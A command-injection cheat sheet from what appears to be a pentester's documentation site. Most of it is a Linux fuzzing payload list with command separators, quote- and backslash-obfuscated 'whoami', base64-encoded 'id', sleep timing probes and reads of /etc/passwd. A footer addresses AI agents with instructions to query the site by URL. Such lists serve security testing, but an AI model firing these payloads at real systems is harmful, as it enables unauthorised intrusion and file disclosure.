# Command Injection

## 01. Linux

* Basic fuzzing list

```
## ------------------| Command Injection
ThisIsForCheckError
~
!
@
#
$
%
^
&
*
(
)
_
+

NOTHING 
id
whoami
sleep 10
sleep+40
w'h'o'am'i
w"h"o"am"i
w\ho\am\i
who$@ami
who$()ami
who$(echo am)i
who`echo am`i
&&whoami
`id`
`whoami`
`sleep 10`
`sleep 30`
;whoami
;who()ami
;`echo 'aWQK' | base64 -d`
|whoami
NOTHING || ;who()ami
NO_THING || ;who()ami
NOTHING |whoami
NOTHING ||whoami
NOTHING |`echo 'aWQK' | base64 -d`
NOTHING ||`echo 'aWQK' | base64 -d`
#whoami
#;whoami
$(sleep 10)
$(sleep 30)
$(whoami)
$who()ami
/\b\i\n/////s\h
cat /etc/passwd
cat /etc/pas$()swd
cat /etc///passwd
$(cat /etc/passwd)
`cat /etc/passwd`
ping -c 2 127.0.0.1
$(ping -c 2 127.0.0.1)
`ping -c 2 127.0.0.1`

```


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://docs.h4rithd.com/owasp-10/command-injection.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
